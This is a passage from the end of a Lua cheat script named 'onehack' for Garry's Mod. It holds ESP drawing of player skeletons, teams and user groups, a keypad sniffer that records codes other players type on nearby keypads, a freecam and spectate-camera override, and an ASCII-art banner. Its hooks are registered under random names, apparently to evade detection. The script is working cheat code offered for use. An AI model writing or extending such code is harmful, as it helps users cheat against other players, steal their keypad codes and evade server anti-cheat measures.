2351 surface.DrawLine( Bones[19].x, Bones[19].y, Bones[20].x, Bones[20].y )
2352 surface.DrawLine( Bones[20].x, Bones[20].y, Bones[21].x, Bones[21].y )
2353
2354 //Arms
2355 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[8].x, Bones[8].y )
2356 surface.DrawLine( Bones[8].x, Bones[8].y, Bones[9].x, Bones[9].y )
2357 surface.DrawLine( Bones[9].x, Bones[9].y, Bones[10].x, Bones[10].y )
2358
2359 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[11].x, Bones[11].y )
2360 surface.DrawLine( Bones[11].x, Bones[11].y, Bones[12].x, Bones[12].y )
2361 surface.DrawLine( Bones[12].x, Bones[12].y, Bones[13].x, Bones[13].y )
2362
2363 end
2364 if onehack.Vars['ESP_TEAM'] then
2365 draw.SimpleTextOutlined(team.GetName(v:Team()),"default",right+3, top,team.GetColor(v:Team()),0,0,1,Color(0,0,0))
2366 end
2367 if onehack.Vars['ESP_GROUP'] then
2368 draw.SimpleTextOutlined(v:GetUserGroup(),"default",right+3, top+11,Color(255,255,255),0,0,1,Color(0,0,0))
2369 end
2370 end
2371 end
2372end
2373end
2374end
2375
2376onehack.memory["hud"] = gcinfo() - memfootprintss
2377end)
2378local elements = {
2379 { -- Screen
2380 x = 0.075,
2381 y = 0.04,
2382 w = 0.85,
2383 h = 0.25,
2384
2385 },
2386 { -- ABORT
2387 x = 0.075,
2388 y = 0.04 + 0.25 + 0.03,
2389 w = 0.85 / 2 - 0.04 / 2 + 0.05,
2390 h = 0.125,
2391 text = "ABORT",
2392 },
2393 { -- OK
2394 x = 0.5 + 0.04 / 2 + 0.05,
2395 y = 0.04 + 0.25 + 0.03,
2396 w = 0.85 / 2 - 0.04 / 2 - 0.05,
2397 h = 0.125,
2398 text = "OK",
2399 }
2400}
2401
2402do -- Create numbers
2403 for i = 1, 9 do
2404 local column = (i - 1) % 3
2405
2406 local row = math.floor((i - 1) / 3)
2407
2408 local element = {
2409 x = 0.075 + (0.3 * column),
2410 y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row),
2411 w = 0.25,
2412 h = 0.13,
2413 text = tostring(i),
2414 }
2415 table.insert(elements, element)
2416 end
2417end
2418
2419
2420function onehack.CalculateKeypadCursorPos(ply, ent)
2421 if !ply:IsValid() then return end
2422
2423 local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
2424 if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
2425
2426 local scale = ent.Scale
2427 if !scale then return 0, 0 end
2428
2429 local pos, ang = ent:CalculateRenderPos(), ent:CalculateRenderAng()
2430 if !pos or !ang then return 0, 0 end
2431 local normal = ent:GetForward()
2432
2433 local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
2434 if !intersection then return 0, 0 end
2435
2436 local diff = pos - intersection
2437
2438 local x = diff:Dot( -ang:Forward() ) / scale
2439 local y = diff:Dot( -ang:Right() ) / scale
2440
2441 return x, y
2442end
2443
2444function onehack.KPGetHoveredElement(ply, ent)
2445 local scale = ent.Scale
2446
2447 local w, h = ent.Width2D, ent.Height2D
2448 local x, y = onehack.CalculateKeypadCursorPos(ply, ent)
2449
2450 for _, element in ipairs(elements) do
2451 local element_x = w * element.x
2452 local element_y = h * element.y
2453 local element_w = w * element.w
2454 local element_h = h * element.h
2455
2456 if element_x < x and element_x + element_w > x and
2457 element_y < y and element_y + element_h > y
2458 then
2459 return element
2460 end
2461 end
2462end
2463hook.Add("Think",onehack.RandomString(17),function()
2464 if onehack.Vars['keypad_jiw'] then
2465 for k, v in pairs(player.GetAll()) do
2466 local kp = v:GetEyeTrace().Entity
2467 if IsValid(kp) && IsValid(v) and string.find( kp:GetClass(), "Keypad") and v:EyePos():Distance(kp:GetPos()) <= 120 then
2468 kp.tempCode = kp.tempCode or ""
2469 kp.tempText = kp.tempText or ""
2470 kp.tempStatus = kp.tempStatus or 0
2471 if kp:GetText() != kp.tempText or kp:GetStatus() != kp.tempStatus then
2472 kp.tempText = kp:GetText()
2473 kp.tempStatus = kp:GetStatus()
2474 if(kp.tempText && !kp:GetSecure()) then
2475 kp.tempCode = kp.tempText
2476 timer.Simple(0, function()
2477 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2478 kp.code = kp.tempCode
2479 end
2480 end)
2481 else
2482 local i = onehack.KPGetHoveredElement(v, kp)
2483 if (i) then i = i.text end
2484 if kp.tempText then
2485 timer.Simple(0, function()
2486 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2487 kp.code = kp.tempCode
2488 end
2489 end)
2490 end
2491 if kp.tempText == "" || kp:GetStatus() == 2 then
2492 kp.tempCode = ""
2493 end
2494 timer.Simple(0, function()
2495 if(tonumber(i) && kp:GetText():len() != 0) then
2496 kp.tempCode = kp.tempCode..i
2497 end
2498 end)
2499 end
2500 end
2501 end
2502 end
2503 end
2504end)
2505hook.Add("CreateMove",onehack.RandomString(17),function(cmd)
2506 if onehack.Vars['FCAM'] then
2507 cmd:ClearButtons()
2508 cmd:ClearMovement()
2509 cmd:SetMouseX(0)
2510 cmd:SetMouseY(0)
2511 end
2512end)
2513
2514function onehack.cameracalculate( ply, pos, angles, fov )
2515 if onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
2516 local view = {}
2517 view.origin = onehack.SpectatePlayer:EyePos() or Vector(0,0,0)
2518 view.angles = onehack.SpectatePlayer:EyeAngles() or Angle(0,0,0)
2519 view.fov = fov
2520 view.drawviewer = true
2521 return view
2522 elseif onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:GetClass() == "gmod_cameraprop" then
2523 local view = {}
2524 view.origin = onehack.SpectatePlayer:GetPos() or Vector(0,0,0)
2525 view.angles = onehack.SpectatePlayer:GetAngles() or Angle(0,0,0)
2526 view.fov = fov
2527 view.drawviewer = true
2528 return view
2529 end
2530 if onehack.Vars['FCAM'] then
2531 local view = {}
2532 local newang = angles
2533 onehack.StartCamAng = LocalPlayer():GetAngles()
2534 local speed = onehack.CamSpeed_Normal
2535 if input.IsKeyDown(KEY_LSHIFT) then
2536 speed = onehack.CamSpeed_Fast
2537 elseif input.IsKeyDown(KEY_LCONTROL) then
2538 speed = onehack.CamSpeed_Slow
2539 else
2540 speed = onehack.CamSpeed_Normal
2541 end
2542 if input.IsKeyDown(KEY_W) then
2543 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Forward() * speed
2544 end
2545 if input.IsKeyDown(KEY_A) then
2546 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Right() * speed
2547 end
2548 if input.IsKeyDown(KEY_D) then
2549 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Right() * speed
2550 end
2551 if input.IsKeyDown(KEY_S) then
2552 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Forward() * speed
2553 end
2554 if input.IsKeyDown(KEY_SPACE) then
2555 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Up() * speed
2556 end
2557 --LocalPlayer():SetPos(onehack.StartCamPos)
2558 view.origin = onehack.StartCamPos
2559 view.angles = newang
2560 view.fov = fov
2561 view.drawviewer = true
2562 return view
2563 end
2564end
2565hook.Add( "CalcView", onehack.RandomString(17), onehack.cameracalculate )
2566
2567MsgC(onehack.theme.chroma,[[
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612
2613
2614
2615
2616
2617 ________ ________ _______ ___ ___ ________ ________ ___ __
2618|\ __ \|\ ___ \|\ ___ \ |\ \|\ \|\ __ \|\ ____\|\ \|\ \
2619\ \ \|\ \ \ \\ \ \ \ __/|\ \ \\\ \ \ \|\ \ \ \___|\ \ \/ /|_
2620 \ \ \\\ \ \ \\ \ \ \ \_|/_\ \ __ \ \ __ \ \ \ \ \ ___ \
2621 \ \ \\\ \ \ \\ \ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \____\ \ \\ \ \
2622 \ \_______\ \__\\ \__\ \_______\ \__\ \__\ \__\ \__\ \_______\ \__\\ \__\
2623 \|_______|\|__| \|__|\|_______|\|__|\|__|\|__|\|__|\|_______|\|__| \|__|
2624 ___ ___ _____ ________ ________
2625 |\ \ / /|/ __ \ |\ __ \ |\ __ \
2626 \ \ \ / / /\/_|\ \ \ \ \|\ \ \ \ \|\ \
2627 \ \ \/ / /\|/ \ \ \ \ \ \\\ \ \ \ \\\ \
2628 \ \ / / \ \ \ __\ \ \\\ \ __\ \ \\\ \
2629 \ \__/ / \ \__\\__\ \_______\\__\ \_______\
2630 \|__|/ \|__\|__|\|_______\|__|\|_______|]])
2631 MsgC(onehack.theme.chromaalt,[[
2632
2633 ________ ________ _______ ________ ___ _________ ________
2634 |\ ____\|\ __ \|\ ___ \ |\ ___ \|\ \|\___ ___\\ ____\ ___
2635 \ \ \___|\ \ \|\ \ \ __/|\ \ \_|\ \ \ \|___ \ \_\ \ \___|_|\__\
2636 \ \ \ \ \ _ _\ \ \_|/_\ \ \ \\ \ \ \ \ \ \ \ \_____ \|__|
2637 \ \ \____\ \ \\ \\ \ \_|\ \ \ \_\\ \ \ \ \ \ \ \|____|\ \ ___
2638 \ \_______\ \__\\ _\\ \_______\ \_______\ \__\ \ \__\ ____\_\ \|\__\
2639 \|_______|\|__|\|__|\|_______|\|_______|\|__| \|__| |\_________\|__|
2640 \|_________|
2641 ________ ________ _______ ________ ________ _______ ___ ___
2642 |\ _____\\ __ \|\ ___ \ |\ __ \ |\ ___ \|\ ___ \ |\ \ / /|
2643 \ \ \__/\ \ \|\ \ \ __/|\ \ \|\ \ ____________ \ \ \_|\ \ \ __/|\ \ \ / / /
2644 \ \ __\\ \ \\\ \ \ \_|/_\ \ _ _\ |\____________\ \ \ \ \\ \ \ \_|/_\ \ \/ / /
2645 \ \ \_| \ \ \\\ \ \ \_|\ \ \ \\ \| \|____________| \ \ \_\\ \ \ \_|\ \ \ / /
2646 \ \__\ \ \_______\ \_______\ \__\\ _\ \ \_______\ \_______\ \__/ /
2647 \|__| \|_______|\|_______|\|__|\|__| \|_______|\|_______|\|__|/]])
2648]]);